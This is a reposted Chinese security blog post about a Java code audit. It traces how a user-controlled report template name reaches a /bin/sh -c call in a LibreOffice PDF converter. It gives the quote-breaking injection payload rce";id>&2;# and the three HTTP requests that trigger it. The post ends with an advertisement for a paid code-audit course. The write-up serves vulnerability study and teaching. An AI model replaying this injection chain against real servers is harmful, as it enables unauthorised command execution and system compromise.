文章总结: 文档记录了对JAVA应用进行代码审计发现RCE漏洞的过程,通过分析CommandUtils.execFor()和PdfConverter.convert()等关键代码,发现用户可控的模板文件名未经过滤直接拼接进shell命令导致命令注入。漏洞利用需构造包含shell元字符的payload绕过双引号包裹和后缀校验,文章详细拆解了攻击链并给出复现步骤。 综合评分: 85 文章分类: 代码审计,漏洞分析,WEB安全,安全开发,实战经验
代码审计JAVA源码RCE漏洞记录
威零安全团队
2026年5月18日 14:14 广东
在小说阅读器读本章
去阅读
以下文章来源于进击安全 ,作者知名小朋友
进击安全 .
主要分享一些个人实战经验,以及漏洞复现,代码审计,等等方面的文章,欢迎大家关注我的公众号呀,可以投稿哦,有稿费的哦,菜鸟路过~~~
# 现在只对常读和星标的公众号才展示大图推送,建议大家能把威零安全团队“设为星标”,否则可能就看不到了啦!  免责声明 本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。 由于传播、利用本公众号所发布的而造成的任何直接或者间接的后果及损失,均由使用者本人承担。威零安全实验室公众号及原文章作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
一、前言

前段时间跟着小朋友老师的课程学习了一段时间JAVA代码审计,今天尝试进行实操审计一下,JAVA反序列化这些还没学完,先进行审计基础漏洞(文章借助AI编辑)。
二、漏洞分析
先进行定位分析,这里审计出来的是后台漏洞,完成了小朋友老师的0-1但是还没完成0-1+1这一步,给尊师也投稿一个,首先进行定位敏感函数。
new ProcessBuilder();
Runtime.getRuntime().exec()
上述两个为命令执行接口,尝试进行分析。
2.1 命令执行入口 — CommandUtils.execFor()
全局搜索ProcessBuilder关键字,定位到CommandUtils.java,这是项目中封装命令执行的工具类。
public class CommandUtils {
public static String execFor(String cmd, boolean charsetAuto) {
ProcessBuilderbuilder=newProcessBuilder();
builder.command("/bin/sh", "-c", cmd); // ← 关键点:cmd直接交给sh -c执行
builder.directory(devHome);
builder.redirectErrorStream(true);
try {
Processprocess=builder.start();
// 读取命令输出 ...
String result=IOUtils.readString(process.getInputStream());
process.waitFor();
return result;
} catch (Exceptione) {
throw new RuntimeException(e);
}
}
}
这里可以看见,cmd参数原封不动传入 /bin/sh -c。sh -c 会解析其中一切shell元字符(;|$()`& 等),只要cmd中包含用户可控的内容,就能注入任意命令。
2.2 命令构造点 — PdfConverter.convert()
全局搜索 execFor 的调用,跟进到 PdfConverter.java,这是负责调用 LibreOffice 进行文件格式转换的类。
public class PdfConverter {
privatestaticfinalStringSOFFICE="/usr/bin/soffice";
public static Fileconvert(String path, String type, String outDir) {
// ① 拼装shell命令 —— path直接通过 %s 格式化进入命令字符串
Stringcmd=String.format("%s --headless --convert-to %s \"%s\" --outdir \"%s\"",SOFFICE, // soffice路径(固定)
type, // 转换类型,如 "pdf"(固定)
path, // ← 用户可控的文件路径,用双引号包裹
outDir // 输出目录(固定)
);
// ② 调用execFor → /bin/sh -c cmd
CommandUtils.execFor(cmd, false);
// ...
}
}
这里可以看见,path参数虽然被双引号 "..." 包裹,看似安全,但实际上:
* path来自用户可控的文件名
* 双引号内如果出现 " 字符,就会提前闭合引号
* 闭合引号后,后续内容就脱离了引号保护,被sh -c当作命令执行
这就是典型的"双引号包裹 → 双引号注入"绕过。
接下来需要追一个问题:path是从哪来的?能不能被用户控制?
2.3 path的来源 — 模板文件名拼接
搜索 convert() 的调用点,定位到 DataReportService 或类似报表服务类中。
// 文件: 报表导出服务(ReportService / DataReportService)
public void exportPdf(String reportId, String[] recordIds) {
// 从数据库取出报表模板配置
DataReportConfig config=dataReportConfigService.getById(reportId);
// 获取模板文件名 —— 这个文件名是在创建模板时由用户控制的
String templateFile=config.getTemplateFile(); // ← 用户上传的模板文件路径
// 拼出模板文件的完整磁盘路径
String path=getStoragePath() +"/"+templateFile;
// 调用convert,path传入shell命令
PdfConverter.convert(path, "pdf", outputDir);
}
继续跟入,templateFile 这个字段是怎么设置的? 定位到模板创建/编辑的Controller。
@PostMapping("/app/entity/common-save")
public JSONObject commonSave(@RequestBody JSONObjectdata) {
// 前端传入的JSON直接映射到实体对象
DataReportConfig config=new DataReportConfig();
config.setName(data.getString("name")); // ← 模板名称,用户完全可控
config.setTemplateFile(data.getString("templateFile")); // ← 模板文件路径
config.setTemplateType(data.getInt("templateType"));
// ... 其他字段
// 直接入库,无任何过滤
dataReportConfigService.save(config);
return JSONObject.ok();
}
这里可以看见,name字段由前端JSON直接传入,没有经过任何过滤就直接存入数据库。
再往回追一步,templateFile字段和name字段的关联。模板文件上传后,文件名是由name字段拼接生成的:
public String storeTemplateFile(MultipartFile file, String templateName) {
String recordId=generateRecordId();
String date=DateUtils.format(newDate(), "yyyyMMdd");
String fileName = String.format("%s__%s_%s.xlsx",recordId,templateName,date);
// 存储文件
Filedest=newFile(storageDir, fileName);
file.transferTo(dest);
// 返回相对路径,这个路径最终存入 templateFile 字段
return"rb/"+date+"/"+fileName;
}
到这里整个链路就清楚了:
用户HTTP请求中的 name 字段
→ 无过滤拼入文件名: xxx__<name>_date.xlsx
→ 文件名存入 templateFile 字段
→ 导出PDF时取出 templateFile,拼出完整磁盘路径 path
→ path 传入 PdfConverter.convert()
→ String.format 将 path 拼入 shell 命令字符串
→ /bin/sh -c 执行 → 命令注入
2.4 后缀校验绕过
在 PdfConverter 中唯一的校验是文件后缀:
// PdfConverter.java
public static File convert(String path, String type, String outDir) {
File file=new File(path);
// 唯一的安全检查:校验后缀是否为Excel文件
if (!file.getName().endsWith(".xlsx") &&!file.getName().endsWith(".xls")) {
throw new IllegalArgumentException("Not a valid Excel file");
}
// 校验通过,path原样进入shell命令
String cmd=String.format("%s --headless --convert-to %s \"%s\" --outdir\"%s\"",SOFFICE, type, path, outDir);
CommandUtils.execFor(cmd, false);
}
这里没有对文件名内容做任何过滤,只要保证后缀是 .xlsx 即可绕过。Payload中的 # 注释掉了文件名后半段的 " 和 .xlsx",所以后缀校验完全不受影响。
2.5 Shell注入Payload构造原理
现在站在攻击者视角,倒推为什么要构造这样的HTTP报文。
攻击者的目标:在 name 字段中注入shell元字符,让命令在服务端执行。
约束条件:
1. name 值最终会出现在 shell 命令的双引号 "..." 内
2. 文件名必须以 .xlsx 结尾才能通过后缀校验
3. 命令输出需要能回显到攻击者能看到的地方
Payload构造过程:
已知最终拼出的命令模板是:
soffice --headless --convert-to pdf "/path/to/xxx__<name>_date.xlsx" --outdir "/tmp"
要在双引号内执行任意命令,需要做三件事:
* ① 用 " 闭合前面的双引号
* ② 用 ; 分隔命令(或者 |&& 等)
* ③ 用 # 注释掉后面的内容(避免语法错误)
Payload设计:
rce";id>&2;#
代入后效果:
soffice --headless --convert-to pdf "/path/to/xxx__rce";id>&2;#_date.xlsx" --outdir "/tmp"
逐段解析:
* rce" → 字符串末尾的 " 闭合了第一个双引号,rce只是填充字符无实际意义
* ; → shell命令分隔符,结束soffice命令,开始新的命令
* id → 要执行的任意命令
* >&2 → 将stdout重定向到stderr,因为Java代码中 redirectErrorStream(true) 会合并stderr到stdout,保证命令输出能被Java进程读取并返回
* ; → 分隔符
* # → shell注释符,注释掉后面所有内容(_date.xlsx" --outdir "/tmp"),防止语法报错
这就是为什么数据包中 name 字段要构造为 rce";id>&2;# 的原因。
三、漏洞复现
下面逐一拆解三个攻击步骤,每个HTTP请求对应代码中的哪一段逻辑。
Step 1 — 上传Excel模板文件
POST /filex/upload HTTP/1.1
Content-Type: multipart/form-data
...
Content-Disposition: form-data; name="file"; filename="cmdi_1778410303.xlsx"
[Excel二进制数据]
对应代码:
@PostMapping("/filex/upload")
public JSONObject upload(@RequestParam("file") MultipartFile file) {
// 接收上传文件,存储到磁盘,返回文件路径
String filePath=fileStoreService.store(file);
return JSONObject.ok().put("filePath", filePath);
}
这一步只是上传一个合法的Excel文件,内容随意,目的是获得一个 templateFile 路径,供下一步使用。攻击者要的是一个合法的 .xlsx 文件路径。
Step 2 — 保存模板,注入payload
POST /app/entity/common-save HTTP/1.1
Content-Type: application/json
{
"belongEntity": "User",
"name": "rce\";id>&2;#",
"templateFile": "rb/20260510/185145218__cmdi_1778410303.xlsx",
"templateType": 1,
"extraDefinition": {"templateVersion": 3},
"metadata": {"entity": "DataReportConfig"}
}
对应代码:
// CommonSaveController.java
@PostMapping("/app/entity/common-save")
public JSONObject commonSave(@RequestBodyJSONObjectdata) {
DataReportConfig config=new DataReportConfig();
config.setName(data.getString("name")); // ← name = rce";id>&2;#
config.setTemplateFile(data.getString("templateFile"));
config.setTemplateType(data.getInt("templateType"));
// ... 其他字段
dataReportConfigService.save(config);
returnJSONObject.ok();
}
为什么name字段可以注入:
* name在前端是一个文本输入框的值,提交时作为JSON字符串传递
* 后端接收后没有任何过滤(没有转义、没有白名单、没有正则校验)
* name存入数据库后,在导出PDF时被取出来拼接到文件名中
* 最终进入shell命令
Step 3 — 导出PDF,触发命令执行
GET /app/User/report/generate?report=032-019e1183c5282f79&record=001-0000000000000001,001-0000000000000001&output=PDF HTTP/1.1
对应代码:
@GetMapping("/app/{entity}/report/generate")
publicJSONObjectgenerateReport(
@PathVariableStringentity,
@RequestParamStringreport,
@RequestParamStringrecord,
@RequestParamStringoutput) {
DataReportConfigconfig=dataReportConfigService.getById(report);
// 获取模板文件名 → 拼成完整路径
String templateFile=config.getTemplateFile();
// templateFile = "rb/20260510/xxx__rce\";id>&2;#_date.xlsx"
String path=getStoragePath()+"/"+templateFile;
// 调用PdfConverter.convert(path) → shell执行 → 命令注入触发
PdfConverter.convert(path, "pdf", outputDir);
returnJSONObject.ok();
}

成功执行系统命令。
代码审计培训介绍&广告区域
二、第五期课程
第五期课程仍然是以代码审计为主,本次课程还是为三个语言的代码审计0-1讲解,目的为帮助学员完成0-1+1的白盒(代码审计)漏洞挖掘,并且在出货的基础上再+1去出高质量的漏洞(例如组合拳RCE、前台相关漏洞等)。
1
课程周期
开课周期预计到:三个月左右(直播+录播)
课程大纲
本次课程分为PHP、JAVA、NET代码审计为直播+录播,为了照顾一些基础较为薄弱的师傅新增基础~技巧~番外(录播课程)。
01
PHP&JAVA&NET代码审计 (直播+录播)
之前课程大纲主要为xxx实战案例,本次课程大纲着重体现思路方向,并非取消了实战部分,实战部分之多不减。
PHP课程目录
✅ 第一节课:多框架初识&路由认识&参数传递
✅ 第二节课:多框架&鉴权分析&认证与鉴权&鉴权方式
✅ 第三节课:多框架&常见漏洞函数&回显&非回显
✅ 第四节课:注入漏洞&常见位置&实战审计注入类漏洞
✅ 第五节课:前台RCE漏洞审计&漏洞案例技巧讲解
✅ 第六节课:门户网站CMS&网络设备&审计经验讲解
✅ 第七节课:多框架&鉴权对抗&权限绕过技巧&案例分析
✅ 第八节课:组合拳RCE漏洞分析&漏洞组合拳利用&案例
✅ 第九节课:PHP下反序列化漏洞&魔术方法&pop链分析
✅ 第十节课:PHP下反序列化漏洞实战&phar协议RCE案例
JAVA课程目录
✅ 第一节课:Servlet&Spring Boot&Spring MVC&Struts2
✅ 第二节课:多框架下&拦截器&认证鉴权&组件鉴权分析
✅ 第三节课:多框架下&权限绕过&鉴权对抗&案例分析
✅ 第四节课:常见漏洞函数&案例分析&审计技巧
✅ 第五节课:前台漏洞审计&组合拳rce漏洞&技巧&案例
✅ 第六节课:反序列化&CC链利用&反序列化漏洞利用
✅ 第七节课:Ognl&SpEl&EL表达式注入&漏洞案例
✅ 第八节课:内存马简介&内存马原理分析&内存马注入方式
✅ 第九节课:RMI&JNDI注入&JNDI注入漏洞利用&案例
✅ 第十节课:组件漏洞&shiro&fastjson&log4j分析&利用
.NET课程目录
✅ 第一节课:初识.NET&Web From & MVC架构框架分析
✅ 第二节课:Web From&MVC框架&鉴权分析&认证方式
✅ 第三节课:多框架下&鉴权对抗&权限绕过分析&案例
✅ 第四节课:注入漏洞分析&文件操作类漏洞&实战分析
✅ 第五节课:常见漏洞位置&前台漏洞审计&漏洞案例讲解
✅ 第六节课:组合拳RCE漏洞分析&组合拳RCE案例讲解
✅ 第七节课:.NET反序列化漏洞初识&反序列化漏洞原理
✅ 第八节课:.NET安全反序列化链&反序列化触发场景
✅ 第九节课:.NET反序列化漏洞案例&反序列化漏洞分析
02
基础~技巧~番外(录播)
该篇章为长期更新
1
基础篇章
1、由于之前上课时部分师傅存在一定基础,刚开始的课程部分师傅认为自己可以跟的上等问题,导致时间的浪费。
2、同时有一定的师傅存在无法搭建源码,以及软件下载等问题,于是将这种基础问题,统一归纳为基础篇章,供师傅们学习,节省师傅们时间提升学习效率及课程质量
3、同时面对部分学员频繁提出的一些问题,针对该问题同样会进行解答,并且进行录制上传至基础篇章中。
2
技巧篇章
1、随着自己技术的进步也了解到了一些新型的技巧或者手法,例如sql注入的某一个技巧,但是重新讲解又浪费大量时间,特地新增了技巧篇章,将单独的技巧进行讲解。
3
番外篇章
1、自己在第四期讲过一些逆向相关,并且还存在相关的一些好的案例,得到了挺多师傅的认可,例如某APP接管存储桶等案例,于是之后在有好的案例将进行上传更新。
课程思维导图
常见疑问&课程讲解
第五期课程收费多少?
本次课程收费仍然是1688,并且还是承诺一次报名后续不再进行任何二次收费保障(包含内部平台,以及后续推出一系列内容均可观看)。
什么时间段上课,上课周期是多长时间?
第五期课程【直播+录播】上课周期为三个月,一般集中在周五六日这三天,一周保持2~3节课,每节课1小时左右。
作为学员,我们都有哪些权益?
首先最关键的就是课程内容是可以一直学习的,同时内部报告平台也可进行观看,答疑是不限时长,不限类型方向,任何方向均可,再次同时代码审计最关键的就是源码,源码&课件&视频都是给兄弟们配套的,当然无聊找小朋友聊天一起打游戏也可以哦。
学完之后可以达到什么水平?
学完之后可以达到可以进行独立审计的水平,在面对php、JAVA、NET主流语言的源码,可以进行独立审计,验证漏洞,对于一些JAVA安全内容例如:反序列化,内存马等也有一定的理解,可以进行打反序列化漏洞、注入内存马等操作,同时PHP的反序列化、pop链,phar协议等利用也有一定理解,且此类漏洞导致RCE均有案例。
0基础可以学吗?
1、这是大家最常问的一个问题,0基础是可以的,我的代码审计课程一直秉持着帮助大家完成代码审计0-1的目标,同时往期(第四期)课程新增了进阶课,其目的也是帮助大家完成0-1出洞到0-1出有质量的漏洞。
2、另外考虑到有的学员基础较为薄弱,本期同时也开了番外篇&基础篇,师傅们可以观看这块分区课程内容,此类分块课程目的就是为协助到一些基础比较薄弱的师傅们。
是那种读PPT拿着靶场讲解吗?
不会,课程均使用一些0Day&1Day&Nday优质漏洞来进行授课,且本期案例均为从简-难漏洞案例,深度体验代码审计当中的难易区分,完全杜绝靶场以及去读PPT的,从培训第一期开始到现在,基本为上课开始看几眼课件,让学员熟悉这节课的大概内容等信息,然后直接实操到下课,这一点也是我干培训五期以来一直使用的授课方式。
是否有简历修改&内推等福利?
有的兄弟,有的,不介意小朋友的指导简历这类的话,随时欢迎大家来骚扰我。
为什么你不新增AI方向的内容?
目前我个人认为AI可以帮助我们提升很大的效率,但是前提是AI的使用者本身要懂这个技术,才可以利用AI来降低该技术门槛,提升效率,完全自动化目前感觉还是无法做到,包括课程当中也会使用AI会顺带着给师傅讲了如何用ai来提升效率,同时如果反馈不会使用的师傅较多,会考虑后续在基础~技巧~番外来更新该方向内容。
联系方式
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:威零安全团队 《代码审计JAVA源码RCE漏洞记录》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论